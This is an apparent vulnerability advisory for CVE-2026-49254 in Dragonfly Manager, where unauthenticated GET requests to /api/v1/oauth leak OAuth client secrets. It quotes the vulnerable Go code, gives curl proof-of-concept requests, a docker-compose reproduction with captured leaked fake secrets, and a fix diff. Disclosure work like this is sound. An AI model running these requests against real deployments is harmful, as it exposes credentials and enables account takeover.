Dragonfly Manager CVE-2026-49254
LOWSeverity by source
Network-reachable unauthenticated endpoint with trivial single-request exploit; only confidentiality is impacted (full OAuth secret disclosed); no integrity or availability consequence from the disclosure itself.
Lifecycle Timeline
1DescriptionCVE.org
Summary
The Dragonfly Manager exposes GET /api/v1/oauth and GET /api/v1/oauth/:id to unauthenticated clients. The response body deserializes the entire manager/models.Oauth struct, which includes the client_secret field. Any network-reachable attacker can read the OAuth client secrets configured for github or google providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.
Affected versions
github.com/dragonflyoss/dragonfly <= v2.4.3 (and current main at commit 46a8f1e). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added jwt + rbac middleware to the /jobs group.
Privilege required
Unauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via POST /api/v1/oauth (a one-time setup for tenants that enable GitHub / Google sign-in).
Vulnerable code
manager/router/router.go:134-140 (v2.4.3) - the /oauth group registration:
// Oauth.
oa := apiv1.Group("/oauth")
oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
oa.GET(":id", h.GetOauth)
oa.GET("", h.GetOauths)Note the asymmetry inside the same oa route group: POST, PATCH, and DELETE explicitly attach jwt.MiddlewareFunc(), rbac as per-route middleware, but the two GET handlers omit both. Compare with the sibling group three lines below at manager/router/router.go:143-148, the /clusters group:
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)
c.POST("", h.CreateCluster)
c.DELETE(":id", h.DestroyCluster)
c.PATCH(":id", h.UpdateCluster)
c.GET(":id", h.GetCluster)
c.GET("", h.GetClusters)Here the middleware pair is attached once at the group level, so every verb on /clusters is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the /jobs group. This is sibling-method-dispatch-target of the AP-012 sub-shape lens: same module, same router file, same anchor primitive ("group lacking JWT + RBAC"), parallel GET methods missed.
The handler at manager/handlers/oauth.go:127-141 returns the model directly:
func (h *Handlers) GetOauth(ctx *gin.Context) {
var params types.OauthParams
if err := ctx.ShouldBindUri(¶ms); err != nil {
ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
return
}
oauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)
if err != nil {
ctx.Error(err) // nolint: errcheck
return
}
ctx.JSON(http.StatusOK, oauth)
}manager/handlers/oauth.go:155-171 has the parallel list handler:
func (h *Handlers) GetOauths(ctx *gin.Context) {
var query types.GetOauthsQuery
if err := ctx.ShouldBindQuery(&query); err != nil {
ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
return
}
h.setPaginationDefault(&query.Page, &query.PerPage)
oauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)
if err != nil {
ctx.Error(err) // nolint: errcheck
return
}
h.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))
ctx.JSON(http.StatusOK, oauth)
}manager/models/oauth.go:19-26 declares ClientSecret with no json:"-" tag, so it is serialized into every response:
type Oauth struct {
BaseModel
Name string `gorm:"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name" json:"name"`
BIO string `gorm:"column:bio;type:varchar(1024);comment:biography" json:"bio"`
ClientID string `gorm:"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2" json:"client_id"`
ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
RedirectURL string `gorm:"column:redirect_url;type:varchar(1024);comment:authorization callback url" json:"redirect_url"`
}How an unauthenticated request reaches the OAuth client_secret
gin.EngineroutesGET /api/v1/oauth/:idto theoagroup registered atmanager/router/router.go:135. Because no middleware is attached at the group level and none is attached at the per-route level, the request bypassesjwt.MiddlewareFunc()(which would have set or rejectedc.Get("id")) andmiddlewares.RBAC()(which would have called Casbin enforcement).- The request enters
h.GetOauth(manager/handlers/oauth.go:127), which binds the:idpath parameter and callsh.service.GetOauth. service.GetOauth(manager/service/oauth.go) doess.db.First(&oauth, id)and returns the populatedmodels.Oauth.- The handler calls
ctx.JSON(http.StatusOK, oauth). TheClientSecretfield is serialized asclient_secretin the response body.
There is no PVR-style validator, no schema filter, no omitempty, and no DTO projection on the way. The audit middleware records the request as actor=unknown.
Proof of concept
# (Assume Manager is reachable at $MANAGER and at least one OAuth provider
# has been registered via the authenticated POST /api/v1/oauth path.)
curl -s $MANAGER/api/v1/oauth | python3 -m json.tool
curl -s $MANAGER/api/v1/oauth/1 | python3 -m json.toolBoth calls return HTTP 200 with a JSON body that includes client_secret.
End-to-end reproduction (against dragonflyoss/manager:v2.4.3 on docker compose)
Boot the deployment with the project's stock deploy/docker-compose stack reduced to the Manager + its MySQL + Redis dependencies:
mkdir -p /Users/rick/df2-poc/config
cp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \
/Users/rick/df2-poc/config/manager.yaml
# replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379
# enable the default JWT key line (the template ships it already).
cat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML'
services:
redis:
image: redis:6-alpine
container_name: dragonfly-redis
command: --requirepass dragonfly
mysql:
image: mariadb:10.6
container_name: dragonfly-mysql
environment:
- MARIADB_USER=dragonfly
- MARIADB_PASSWORD=dragonfly
- MARIADB_DATABASE=manager
- MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes
manager:
image: dragonflyoss/manager:v2.4.3
container_name: dragonfly-manager
depends_on: [redis, mysql]
restart: on-failure
volumes:
- ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro
ports:
- "18080:8080"
YAML
docker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; doneBootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:
# Sign up + promote to root via the casbin_rule table (no other admin yet).
curl -s -X POST http://localhost:18080/api/v1/users/signup \
-H 'Content-Type: application/json' \
-d '{"name":"admin","password":"adminpass123","email":"admin@example.com"}'
docker exec dragonfly-mysql mysql -uroot -e \
"USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES ('g','2','root');"
docker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done
TOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \
-H 'Content-Type: application/json' \
-d '{"name":"admin","password":"adminpass123"}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')
curl -s -X POST http://localhost:18080/api/v1/oauth \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"github","client_id":"FAKE_CLIENT_ID_abc123",
"client_secret":"FAKE_CLIENT_SECRET_supersensitive_xyz789"}'Captured run output of the actual attack (unauthenticated client):
=== [0] Baseline: /api/v1/clusters demands auth ===
HTTP 401
=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===
HTTP 401
=== [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks ===
HTTP 200
[
{
"id": 1,
"name": "github",
"client_id": "FAKE_CLIENT_ID_abc123",
"client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
"redirect_url": ""
}
]
=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks ===
HTTP 200
{
"id": 1,
"name": "github",
"client_id": "FAKE_CLIENT_ID_abc123",
"client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
"redirect_url": ""
}Interpretation: /api/v1/clusters and /api/v1/jobs both reject the unauthenticated curl with 401 Unauthorized (the JWT + RBAC stack engages). The OAuth GETs return 200 OK plus the full row including client_secret. The Manager's own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.
Fix verification (after applying the patch in the next section), the same harness must return 401 Unauthorized for both attack steps.
Impact
- The OAuth sign-in feature is
not actually used in practice within the Dragonfly project itself. - Unauthenticated disclosure of OAuth
client_secretfor GitHub / Google providers. Aclient_secretpermits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider's redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager's own redirect URL. - The same row also exposes
client_idandredirect_url, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow. - Tenants who exposed the Manager's REST port (
8080/tcp, default in the project'sdocker-compose.yamland Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.
CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).
Suggested fix
Move the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (/clusters, /scheduler-clusters, /seed-peers, /configs, /jobs after GHSA-j8hf, etc.). Additionally, drop ClientSecret from any read response by marking it json:"-" on the model, so even a future router regression cannot leak it.
--- a/manager/router/router.go
+++ b/manager/router/router.go
@@ Oauth.
- oa := apiv1.Group("/oauth")
- oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
- oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
- oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
- oa.GET(":id", h.GetOauth)
- oa.GET("", h.GetOauths)
+ oa := apiv1.Group("/oauth", jwt.MiddlewareFunc(), rbac)
+ oa.POST("", h.CreateOauth)
+ oa.DELETE(":id", h.DestroyOauth)
+ oa.PATCH(":id", h.UpdateOauth)
+ oa.GET(":id", h.GetOauth)
+ oa.GET("", h.GetOauths)--- a/manager/models/oauth.go
+++ b/manager/models/oauth.go
@@ type Oauth struct {
- ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
+ ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"-"`The first hunk mirrors exactly the shape applied for /clusters, /scheduler-clusters, /seed-peer-clusters, /seed-peers, /peers, /configs, /applications, /personal-access-tokens, /persistent-cache-tasks, /audits, and (post-GHSA-j8hf-cp34-g4j7) /jobs. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.
Fix PR
https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory's embargo-private fork).
Workarounds
The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.
Credit
Reported by tonghuaroot.
AnalysisAI
Unauthenticated OAuth client secret disclosure in Dragonfly Manager (dragonflyoss/dragonfly <= v2.4.3) exposes GitHub and Google OAuth client_secret values to any host that can reach the Manager REST API port. The GET /api/v1/oauth and GET /api/v1/oauth/:id handlers omit the jwt.MiddlewareFunc() and RBAC middleware enforced on every other admin route group in the same router file - including the write methods (POST, DELETE, PATCH) in the same /oauth group - and the models.Oauth struct serializes ClientSecret without redaction. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The two vulnerable endpoints (GET /api/v1/oauth and GET /api/v1/oauth/:id) require no authentication and no special headers - any HTTP client that can reach the Dragonfly Manager on its REST port satisfies the access requirement. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The attack vector is fully remote and unauthenticated (PR:N, AV:N, AC:L per the assessed vector), and the proof-of-concept is a single curl command - barrier to exploitation is near zero for any attacker with network access to port 8080/tcp. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with TCP access to the Dragonfly Manager's REST port (8080, exposed by default in the project's docker-compose and Helm chart on 0.0.0.0) issues a single unauthenticated GET /api/v1/oauth and receives a JSON array containing client_id, client_secret, and redirect_url for every registered OAuth provider. With the GitHub client_secret in hand, the attacker crafts a malicious OAuth authorization URL using the legitimate client_id and a lookalike redirect URI, lures a Manager user into approving it, and exchanges the resulting authorization code - together with the stolen client_secret - for an OAuth access token, achieving account-level access to the victim's GitHub identity as permitted by the Manager's OAuth scopes. … |
| Remediation | No vendor-released patched version has been independently confirmed at time of analysis; a fix exists as a private embargo fork PR at https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
LiteSpeed User-End cPanel Plugin before 2.4.5 allows privilege escalation (possibly to root), as exploited in the wild i
UAF in Redis 8.2.1 via crafted Lua scripts by authenticated users. EPSS 12.4%. Patch available.
It was discovered, that redis, a persistent key-value database, due to a packaging issue, is prone to a (Debian-specific
Memory Corruption was discovered in the cmsgpack library in the Lua subsystem in Redis before 3.2.12, 4.x before 4.0.10,
Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user
Redis before 2.8.21 and 3.x before 3.0.2 allows remote attackers to execute arbitrary Lua bytecode via the eval command.
A buffer overflow in Redis 3.2.x prior to 3.2.4 causes arbitrary code execution when a crafted command is sent. Rated cr
Code injection in OneUptime monitoring via custom JS monitor using vm module. PoC and patch available.
In applications using jfinal 4.9.08 and below, there is a deserialization vulnerability when using redis,may be vulnerab
An issue was found in Apache Airflow versions 1.10.10 and below. Rated critical severity (CVSS 9.8), this vulnerability
An Integer Overflow issue was discovered in the struct library in the Lua subsystem in Redis before 3.2.12, 4.x before 4
goanother Another Redis Desktop Manager =<1.6.1 is vulnerable to Cross Site Scripting (XSS) via src/components/Setting.v
Same weakness CWE-200 – Information Exposure
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-4q9j-6299-gxmr